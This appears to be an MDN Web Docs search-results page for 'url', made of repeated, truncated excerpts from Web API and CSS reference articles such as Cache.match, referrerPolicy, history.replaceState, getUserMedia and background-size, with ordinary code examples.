url. for example, if set to true the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching...
...http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e. if the
url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. return value a promise that resolves to the first response that matches the request or to undefined if no match is found. note: cache.match() is basically identical to cache.matchall(), except that rather than resolving with an array of all matching responses, it resolves with ...
...ponse with an response code in the 4xx or 5xx range, the catch() will not be called. self.addeventlistener('fetch', function(event) { // we only want to call event.respondwith() if this is a get request for an html document. ...
... working draft initial definition. ...
Cache - Web APIs
ue for entries in the cache. note: the caching api doesn't honor http caching headers. methods cache.match(request, options) returns a promise that resolves to the response associated with the first matching request in the cache object. cache.matchall(request, options) returns a promise that resolves to an array of all matching requests in the cache object. cache.add(request) takes a
url, retrieves it and adds the resulting response object to the given cache. this is functionally equivalent to calling fetch(), then using put() to add the results to the cache. cache.addall(requests) takes an array of
urls, retrieves them, and adds the resulting response objects to the given cache. cache.put(request, response) takes both a request and its response and adds it to the given cache...
...cachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it. console.log('deleting out of date cache:', cachename); return caches.delete(cachename); } }) ); }) ); }); self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.
url); event.respondwith( caches.open(current_caches.font).then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { // if there is an entry in the cache for event.request, then response will be defined // and we can just return it. note that in this example, only font resources are cached. console.log(' found ...
...y font resources are cached. console.log(' found response in cache:', response); return response; } // otherwise, if there is no entry in the cache for event.request, response will be // undefined, and we need to fetch() the resource. console.log(' no response for %s found in cache. about to fetch ' + 'from network...', event.request.
url); // we call .clone() on the request since we might use it in a call to cache.put() later on. // both fetch() and cache.put() "consume" the request, so we need to make a copy. // (see /docs/web/api/request/clone) return fetch(event.request.clone()).then(function(response) { console.log(' response for %s from network is: %o', event.request.ur...
...s from a cross-origin // domain that doesn't support cors, though! // we call .clone() on the response to save a copy of it to the cache. by doing so, we get to keep // the original response object which we will return back to the controlled page. // (see /docs/web/api/request/clone) console.log(' caching the response to', event.request.
url); cache.put(event.request, response.clone()); } else { console.log(' not caching the response to', event.request.
url); } // return the original response object, which will be used to fulfill the resource request. return response; }); }).catch(function(error) { // this catch() will handle exceptions that arise ...
Content Index API - Web APIs
r about their specific offline content. this allows users to discover and view what is available, whilst giving developers the ability to add and manage this content. examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content. the content index api is an extension to service workers, which allows developers to add
urls and metadata of already cached pages, under the scope of the current service worker. the browser can then use these entries to display offline reading to a user. as a developer you can also display these entries within your application. indexed entries do not automatically expire. it's good practice to present an interface for clearing out entries, or periodically remove older entries. the ...
...ady cached pages, under the scope of the current service worker. the browser can then use these entries to display offline reading to a user. as a developer you can also display these entries within your application. indexed entries do not automatically expire. it's good practice to present an interface for clearing out entries, or periodically remove older entries. the api supports indexing
urls corresponding to html documents. a
url for a cached media file, for example, can't be indexed directly. instead, you need to provide a
url for a page that displays media, and which works offline. interfaces contentindex the contentindex interface provides functionality to register content available offline. contentindexevent the contentindexevent interface of the content index api ...
...gator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index. ...
... async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) ...
FileSystemEntry - Web APIs
hrough other apis. this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, which provide features specific to file system entries representing files and directories, respectively. the filesystementry interface includes methods that you would expect for manipulating files and directories, but it also includes a convenient method for obtaining the
url of the entry: to
url(). it also introduces a new
url scheme: filesystem:. you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab.
...o see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. example to see an example of how to
url() works, see the method description. the snippet below shows you how you can remove a file by name. // taking care of the browser-specific prefixes. window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; ... // opening a file system with temporary storage window.requestfilesystem(temporary, 1024*1024 /*1mb*/, function(fs) { fs.root.getfile('log.txt', {}, func...
...em. getmetadata() obtains metadata about the file, such as its modification date and size. getparent() returns a filesystemdirectoryentry representing the entry's parent directory. moveto() moves the file or directory to a new location on the file system, or renames the file or directory. remove() removes the specified file or directory. you can only remove directories which are empty. to
url() creates and returns a
url which identifies the entry. this
url uses the
url scheme "filesystem:". specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. ...
... ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosamsung internet android full support yesto
url experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera no support nosafari no support ...
HTMLIFrameElement.referrerPolicy - Web APIs
te of the <iframe> element defining which referrer is sent when fetching the resource. syntax refstr = iframeelt.referrerpolicy; iframeelt.referrerpolicy = refstr; values no-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. ...
... same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. ...
...f the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't send it to a less secure destination (https→http). strict-origin-when-cross-origin send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (https→https), and send no header to a less secure destination (https→http). unsafe-
url send a full
url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the impact of th...
...), and send no header to a less secure destination (https→http). unsafe-
url send a full
url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the impact of this setting. examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-
url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete
url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe de...
HTMLImageElement.longDesc - Web APIs
for example, if the image is a png of a flowchart. ...
... for example, if the image is a png of a flowchart. ...
... for example, if the image is a png of a flowchart. ...
... for example, if the image is a png of a flowchart. the longdesc property could be used to provide an explanation of the flow of control represented by the chart, using only text. this can be used by readers both as an explanation, but also as a substitute for visually-impaired users. ...
HTMLScriptElement.referrerPolicy - Web APIs
hich referrer is sent when fetching the resource. syntax refstr = scriptelem.referrerpolicy; scriptelem.referrerpolicy = refstr; value a domstring; one of the following: no-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. ...
... same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only send the origin of the document as the referrer when the protocol security level stays the same (e.g. ...
...ment for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only send the origin of the document as the referrer when the protocol security level stays the same (e.g. https→https), but don't send it to a less secure destination (e.g. https→http). strict-origin-when-cross-origin send a full
url when performing a same-origin request, only send the origin when the protocol security level stays the same (e.g. https→https), and send no header to a less secure destination (e.g. https→http). unsafe-
url send a full
url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the imp...
...errerpolicy is not explicitly specified on the <script> element, it will adopt a higher-level referrer policy, i.e. one set on the whole document or domain. if a higher-level policy is not available, the empty string is treated as being equivalent to no-referrer-when-downgrade. examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-
url"; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmlscriptelement: referrerpolicy' in that specification. living standard ...
HashChangeEvent - Web APIs
the hashchangeevent interface represents events that fire when the fragment identifier of the
url has changed. the fragment identifier is the part of the
url that follows (and includes) the # symbol. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
...f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event. hashchangeevent.new
url read only the new
url to which the window is navigating. hashchangeevent.old
url read only the previous
url from which the window was navigated. methods this interface has no methods of its own, but inherits the methods of its parent, event. examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = func...
...re several fallback scripts listed on the modernizr github page. basically, those scripts check the location.hash at a regular interval. here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, old
url = location.href, oldhash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var new
url = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound... if ( newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ typ...
...ash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var new
url = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound... if ( newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ type: "hashchange", old
url: old
url, new
url: new
url }); old
url = new
url; oldhash = newhash; } }, 100); })(window); specifications specification status comment html living standardthe definition of 'hashchangeevent' in that specification. living standard initial definition ...
History.replaceState() - Web APIs
the history.replacestate() method modifies the current history entry, replacing it with the stateobj, title, and
url passed in the method parameters. this method is particularly useful when you want to update the state object or
url of the current history entry in response to some user action. syntax history.replacestate(stateobj, title, [
url]) parameters stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method. the state object can be null. title most browsers currently ignore this parameter, although they may use it in the future. ...
... stateobj the state object is a javascript object which is associated with the history entry passed to the replacestate method. the state object can be null. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state.
url optional the
url of the history entry. the new
url must be of the same origin as the current
url; otherwise replacestate throws an exception. examples suppose https://www.mozilla.org/foo.html executes the following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() meth...
...e following javascript: const stateobj = { foo: 'bar' }; history.pushstate(stateobj, '', 'bar.html'); the explanation of these two lines above can be found in the example of pushstate() method section of the working with the history api article. ...
... suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the
url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists. suppose now that the user navigates to https://www.microsoft.com, then clicks the back button. at this point, the
url bar will display https://www.mozilla.org/bar2.html. if the user now clicks back again, the
url bar will display https://www.mozilla.org/foo.html, and totally bypass bar.html. specifications specification status comment html living standardthe definition of 'history.replacestate()' in that specification. living standard no change from html5. html5the defini...
startSoftwareUpdate - Web APIs
this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
...this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
...this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
...this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. note also that xpis installed with this method must have their own install.js files in which the full installation is defined. ...
LocalFileSystem - Web APIs
ccess callback // and the last one is the error callback // for denial of access and other errors. window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystem
url (in domstring
url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion. persistent 1 storage that stays in the browser unless the user or the app expunges it. the user must grant permiss...
...nied. its argument is the fileerror object. returns void exceptions this method can raise an fileerror with the following code: exception description security_error the application does not have permission to access the file system interface. for example, you cannot run from file://. for more details, see the article on basic concepts. resolvelocalfilesystem
url() lets you look up the entry for a file or directory with a local
url. void resolvelocalfilesystem
url( in domstring
url, in entrycallback successcallback, in optional errorcallback errorcallback ); parameters
url the
url of a local file in the file system. successcallback the success callback that is called when the browser provides the file or directory for the supplied
url. err...
... security_err the application does not have permission to access the file system interface. ...
... security_err the application does not have permission to access the file system interface. browser compatibility the compatibility table on this page is generated from structured data. ...
MediaDevices.getUserMedia() - Web APIs
cant privacy concerns, getusermedia()'s specification lays out a wide array of privacy and security requirements that browsers are obligated to meet. getusermedia() is a powerful feature which can only be used in secure contexts; in insecure contexts, navigator.mediadevices is undefined, preventing access to getusermedia(). a secure context is, in short, a page loaded using https or the file:///
url scheme, or a page loaded from localhost. in addition, user permission is always required to access the user's audio and video inputs. only a window's top-level document context for a valid origin can even request permission to use getusermedia(), unless the top-level context expressly grants permission for a given <iframe> to do so using feature policy. otherwise, the user will never even be ask...
...to do so. of equal importance are the rules around notification. browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may exist. they must also show an indicator that permission has been granted to use a device for input, even if the device is not actively recording at the moment. for example in firefox, the
url bar displays a pulsing red icon to indicate that recording is underway. the icon is gray if the permission is in place but recording is not currently underway. the device's physical light is used to indicate whether or not recording is currently active. if you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording...
...e are a number of insecure ways to load a document that might, in turn, attempt to call getusermedia(). the following are examples of situations in which getusermedia() is not permitted to be called: a document loaded into a sandboxed <iframe> element cannot call getusermedia() unless the <iframe> has its sandbox attribute set to allow-same-origin. a document loaded using a data:// or blob://
url which has no origin (such as when one of these
urls is typed by the user into the address bar) cannot call getusermedia(). these kinds of
urls loaded from javascript code inherit the script's permissions. any other situation in which there is no origin, such as when the srcdoc attribute is used to specify the contents of a frame. examples width and height this example gives a preference for ...
....call(navigator, constraints, resolve, reject); }); } } navigator.mediadevices.getusermedia({ audio: true, video: true }) .then(function(stream) { var video = document.queryselector('video'); // older browsers may not have srcobject if ("srcobject" in video) { video.srcobject = stream; } else { // avoid using this in new browsers, as it is going away. video.src = window.
url.createobject
url(stream); } video.onloadedmetadata = function(e) { video.play(); }; }) .catch(function(err) { console.log(err.name + ": " + err.message); }); frame rate lower frame-rates may be desirable in some cases, like webrtc transmissions with bandwidth restrictions. var constraints = { video: { framerate: { ideal: 10, max: 15 } } }; front and back camera on mobile phones.
Web-based protocol handlers - Web APIs
ot a difficult process. basically, the web application uses registerprotocolhandler() to register itself with the browser as a potential handler for a given protocol. for example: navigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol. the
url template, used as the handler. the "%s" is replaced with the href of the link and a get is executed on the resultant
url. the user friendly name for the protocol handler. when a browser executes this code, it should display a prompt to the user, asking permission to allow the web application to register as a handler for the protocol. firefox displays a prompt in the notification bar area: n...
...e, used as the handler. the "%s" is replaced with the href of the link and a get is executed on the resultant
url. the user friendly name for the protocol handler. when a browser executes this code, it should display a prompt to the user, asking permission to allow the web application to register as a handler for the protocol. firefox displays a prompt in the notification bar area: note:the
url template supplied when registering must be of the same domain as the webpage attempting to perform the registration or the registration will fail. for example, http://example.com/homepage.html can register a protocol handler for http://example.com/handle_mailto/%s, but not for http://example.org/handle_mailto/%s. registering the same protocol handler more than once will pop up a different notifi...
...firefox will, by default, prompt the user before handing off the action. example <!doctype html public "-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - test</title> </head> <body> <p>hey have you seen <a href="web+burger:cheeseburger">this</a> before?</p> </body> </html> handling the next phase is hand...
...re handing off the action. example <!doctype html public "-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - test</title> </head> <body> <p>hey have you seen <a href="web+burger:cheeseburger">this</a> before?</p> </body> </html> handling the next phase is handling the action. the browser extracts the href from the activated link, combines it with the
url template supplied during handler registration and performs an http get on the
url. so, using the above examples, the browser would perform a get on this
url: http://www.google.co.uk/?uri=web+burger:cheeseburger server side code can extract the query string parameters and perform the desired action. note:the server side code is passed the entire contents of the href. this means the server side...
Navigator.share() - Web APIs
text: a usvstring representing text to be shared. title: a usvstring representing the title to be shared. ...
... text: a usvstring representing text to be shared. title: a usvstring representing the title to be shared. ...
...alue a promise that will be fulfilled once a user has completed a share action (usually the user has chosen an application to share to). it will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing. examples in our web share test (see the source code) there is a button which, when clicked, invokes the web share api to share mdn's
url. ...
...cation to share to). it will reject immediately if the data parameter is not correctly specified, and will also reject if the user cancels sharing. examples in our web share test (see the source code) there is a button which, when clicked, invokes the web share api to share mdn's
url. ...
RTCConfiguration.iceServers - Web APIs
hich describes a single stun or turn server to use for negotiation purposes. syntax let rtcconfiguration = { iceservers: [ iceserver1... ] }; let rtcconfiguration.iceservers = [ iceserver1... ]; value an array of zero or more rtciceserver objects, each of which describes one stun or turn server for the ice agent to use during the connection's negotiation. each object must at least have an
urls property, which is an array of one or more strings, each providing one server's
url. if the array is empty, or if the iceservers option isn't specified, the ice agent will negotiate without the use of any servers, which will limit the connection to local peers. description how the list of servers you provide is used is up to the implementation of the user agent. while it can be useful to prov...
...iate effect occurs. however, the new list of servers is used for any future renegotiation, such as while handling an ice restart. examples the configuration below opens a new peer connection, specifying two servers for the ice agent to use for negotiation. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. ...
...restart. examples the configuration below opens a new peer connection, specifying two servers for the ice agent to use for negotiation. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com. ...
...ication, so the username and password are provided. the second server has two
urls: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceservers: [{
urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, {
urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification. candidate recommendation initial definition. ...
Response.clone() - Web APIs
response1.clone(); parameters none. value a response object. example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). ...
...ers none. value a response object. example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). ...
...e a response object. example in our fetch response clone example (see fetch response clone live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). ...
....blob calls, create object
urls out of the blobs using
url.createobject
url, and display them in two separate <img> elements. var image1 = document.queryselector('.img1'); var image2 = document.queryselector('.img2'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { var response2 = response.clone(); response.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); image1.src = object
url; }); response2.blob().then(function(myblob) { var object
url =
url.createobject
url(myblob); image2.src = object
url; }); }); specifications specification status comment fetchthe definition of 'clone()' in that specification. living standard initial definition ...
Response - Web APIs
pe.fetch(). constructor response() creates a new response object. properties response.headers read only the headers object associated with the response. response.ok read only a boolean indicating whether the response was successful (status in the range 200–299) or not. response.redirected read only indicates whether or not the response is the result of a redirect (that is, its
url list has more than one entry). response.status read only the status code of the response. (this will be 200 for a success). response.statustext read only the status message corresponding to the status code. (e.g., ok for 200). response.trailers a promise resolving to a headers object, associated with the response with response.headers for values of the http trailer header. response.type ...
...tus code of the response. (this will be 200 for a success). response.statustext read only the status message corresponding to the status code. (e.g., ok for 200). response.trailers a promise resolving to a headers object, associated with the response with response.headers for values of the http trailer header. response.type read only the type of the response (e.g., basic, cors). response.
url read only the
url of the response. response.usefinal
url a boolean indicating whether this is the final
url of the response. body interface properties response implements body, so it also has the following properties available to it: body.body read only a simple getter exposing a readablestream of the body contents. body.bodyused read only stores a boolean that declares whether the ...
...dy read only a simple getter exposing a readablestream of the body contents. body.bodyused read only stores a boolean that declares whether the body has been used in a response yet. methods response.clone() creates a clone of a response object. response.error() returns a new response object associated with a network error. response.redirect() creates a new response with a different
url. body interface methods response implements body, so it also has the following methods available to it: body.arraybuffer() takes a response stream and reads it to completion. it returns a promise that resolves with an arraybuffer. body.blob() takes a response stream and reads it to completion. it returns a promise that resolves with a blob. body.formdata() takes a response stream and r...
..., which resolves to the response object associated with the resource fetch operation. you'll notice that since we are requesting an image, we need to run body.blob (response implements body) to give the response its correct mime type. const image = document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { const object
url =
url.createobject
url(blob); image.src = object
url; }); you can also use the response.response() constructor to create your own custom response object: const response = new response(); specifications specification status comment fetchthe definition of 'response' in that specification. living standard initial definition ...
ServiceWorkerContainer.getRegistration() - Web APIs
return value a promise that resolves to a serviceworkerregistration object or undefined. ...
... return value a promise that resolves to a serviceworkerregistration object or undefined. ...
... return value a promise that resolves to a serviceworkerregistration object or undefined. ...
... return value a promise that resolves to a serviceworkerregistration object or undefined. ...
ServiceWorkerContainer.register() - Web APIs
the register() method of the serviceworkercontainer interface creates or updates a serviceworkerregistration for the given script
url. if successful, a service worker registration ties the provided script
url to a scope, which is subsequently used for navigation matching. you can call this method unconditionally from the controlled page. i.e., you don't need to first check whether there's an active registration. there is frequent confusion surrounding the meaning and use of scope. since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. ...
... method unconditionally from the controlled page. i.e., you don't need to first check whether there's an active registration. there is frequent confusion surrounding the meaning and use of scope. since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. ...
...ther there's an active registration. there is frequent confusion surrounding the meaning and use of scope. since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. syntax serviceworkercontainer.register(script
url, options) .then(function(serviceworkerregistration) { ... }); parameters script
url the
url of the service worker script. the registered service worker file needs to have a valid javascript mime type. options optional an object containing registration options. currently available options are: scope: a usvstring representing a
url that defines a service worker's registration scope; that is, what range of
urls a service worker can control. this is usually a relative
url. it...
...by default, the scope value for a service worker registration is set to the directory where the service worker script is located. ...
Using textures in WebGL - Web APIs
it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for which your content has cors approval. see cross-domain textures below for details. the code that loads the texture looks like this: // // initialize a texture and load an image. // when the image finished loading copy it into the texture. // function loadtexture(gl,
url) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because images have to be download over the internet // they might take a moment until they are ready. // until then put a single pixel in the texture so we can // use it immediately. when the image has finished downloading // we'll update the texture with the contents of the image. const level = 0;...
... gl.generatemipmap(gl.texture_2d); } else { // no, it's not a power of 2. turn off mips and set // wrapping to clamp to edge gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); gl.texparameteri(gl.texture_2d, gl.texture_wrap_t, gl.clamp_to_edge); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); } }; image.src =
url; return texture; } function ispowerof2(value) { return (value & (value - 1)) == 0; } the loadtexture() routine starts by creating a webgl texture object texture by calling the webgl createtexture() function. it then uploads a single blue pixel using teximage2d(). this makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download...
...exture() routine starts by creating a webgl texture object texture by calling the webgl createtexture() function. it then uploads a single blue pixel using teximage2d(). this makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download. to load the texture from the image file, it then creates an image object and assigns the src to the
url for our image we wish to use as our texture. the function we assign to image.onload will be called once the image has finished downloading. at that point we again call teximage2d() this time using the image as the source for the texture. after that we setup filtering and wrapping for the texture based on whether or not the image we download was a power of 2 in both dimensions or not. webgl1 can ...
...lete code | open this demo on a new page cross-domain textures loading of webgl textures is subject to cross-domain access controls. in order for your content to load a texture from another domain, cors approval needs to be be obtained. see http access control for details on cors. because webgl now requires textures to be loaded from secure contexts, you can't use textures loaded from file:///
urls in webgl. that means that you'll need a secure web server to test and deploy your code. for local testing, see our guide how do you set up a local testing server? for help. see this hacks.mozilla.org article for an explanation of how to use cors-approved images as webgl textures, with a self-contained example. note: cors support for webgl textures and the crossorigin attribute for image eleme...
-webkit-mask-repeat-y - CSS: Cascading Style Sheets
high, and then another image will be added. they will then compress to a height of 225px. ...
... specifications not part...
... specifications not part of any standard. ...
... specifications not part of any standard. ...
:invalid - CSS: Cascading Style Sheets
t> or other <form> element whose contents fail to validate. /* selects any invalid <input> */ input:invalid { background-color: pink; } this pseudo-class is useful for highlighting field errors for the user. syntax :invalid examples this example presents a simple form that colors elements green when they validate and red when they don't. ...
...element whose contents fail to validate. /* selects any invalid <input> */ input:invalid { background-color: pink; } this pseudo-class is useful for highlighting field errors for the user. syntax :invalid examples this example presents a simple form that colors elements green when they validate and red when they don't. ...
... validate. /* selects any invalid <input> */ input:invalid { background-color: pink; } this pseudo-class is useful for highlighting field errors for the user. syntax :invalid examples this example presents a simple form that colors elements green when they validate and red when they don't. ...
.... /* selects any invalid <input> */ input:invalid { background-color: pink; } this pseudo-class is useful for highlighting field errors for the user. syntax :invalid examples this example presents a simple form that colors elements green when they validate and red when they don't. ...
Resizing background images with background-size - CSS: Cascading Style Sheets
downward as desired. tiling a large image let's consider a large image, a 2982x2808 firefox logo image. we want (for some reason likely involving horrifyingly bad site design) to tile four copies of this image into a 300x300-pixel element. to do this, we can use a fixed background-size value of 150 pixels. ...
... 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the background. here we scale a 32x32 pixel favicon to 300x300 pixels: .square2 { background-image:
url(favicon.png); background-size: 300px; width: 300px; height: 300px; border: 2px solid; text-shadow: white 0px 0px 2px; font-size: 16px; } as you can see, the css is actually essentially identical, save the name of the image file. special values: "contain" and "cover" besides <length> values, the background-size css property offers two special size values, contain and cover. let's t...
...n value specifies that, regardless of the size of the containing box, the background image should be scaled so that each side is as large as possible while not exceeding the length of the corresponding side of the container. try resizing the example below to see this in action. ...
...} result cover the cover value specifies that the background image should be sized so that it is as small as possible while ensuring that both dimensions are greater than or equal to the corresponding size of the container. try resizing the example below to see this in action. ...
image-set() - CSS: Cascading Style Sheets
e connection with a high-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load. image-set() allows the author to provide options rather than determining what each individual user needs. syntax image-set() = image-set( <image-set-option># ) where <image-set-option> = [ <image> | <string> ] <resolution> and <string> is an <
url> values most commonly you'll see an
url() <string> value, but the <image> can be any image type except for an image set. the image-set() function can not be nested inside another image-set() function. <resolution> units include x or dppx, for dots per pixel unit, dpi, for dots per inch, and dpcm for dots per centimeter. every image within an image-set() must have a unique resolution. example...
...see bug 160934.webview android full support 4.4prefixed full support 4.4prefixed prefixed implemented with the vendor prefix: -webkit-chrome android full support 25prefixed full support ...
...see bug 160934.samsung internet android full support 1.5prefixed full support 1.5prefixed prefixed implemented with the vendor prefix: -webkit-legend full support full support ...
...full support partial support partial support no support no supportsee implementation notes.see implementation notes.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also <image> image() element() <
url> <gradient> cross-fade() ...
mask-border - CSS: Cascading Style Sheets
the mask-border css shorthand property lets you create a mask along the edge of an element's border. constituent properties this property is a shorthand for the following css properties: mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width syntax /* source | slice */ mask-border:
url('border-mask.png') 25; /* source | slice | repeat */ mask-border:
url('border-mask.png') 25 space; /* source | slice | width */ mask-border:
url('border-mask.png') 25 / 35px; /* source | slice | width | outset | repeat | mode */ mask-border:
url('border-mask.png') 25 / 35px / 12px space alpha; values <'mask-border-source'> the source image. see mask-border-source. <'mask-border-slice'> the dimensions for slicing the source...
...ce: refer to size of the mask border imagemask-border-width: relative to width/height of the mask border image areacomputed valueas each of the properties of the shorthand:mask-border-mode: as specifiedmask-border-outset: as specified, but with relative lengths converted into absolute lengthsmask-border-repeat: as specifiedmask-border-slice: as specifiedmask-border-source: as specified, but with <
url> values made absolutemask-border-width: as specified, but with relative lengths converted into absolute lengthsanimation typeas each of the properties of the shorthand:mask-border-mode: discretemask-border-outset: discretemask-border-repeat: discretemask-border-slice: discretemask-border-source: discretemask-border-width: discretecreates stacking contextyes formal syntax <'mask-border-source'> ...
...mond, we will use a value of 90 divided by 3, or 30, for slicing the image into corner and edge regions. a repeat value of round will make the mask slices fit evenly, i.e., without clipping or gaps. ...
...rties currently supported in chromium -webkit-mask-box-image-source:
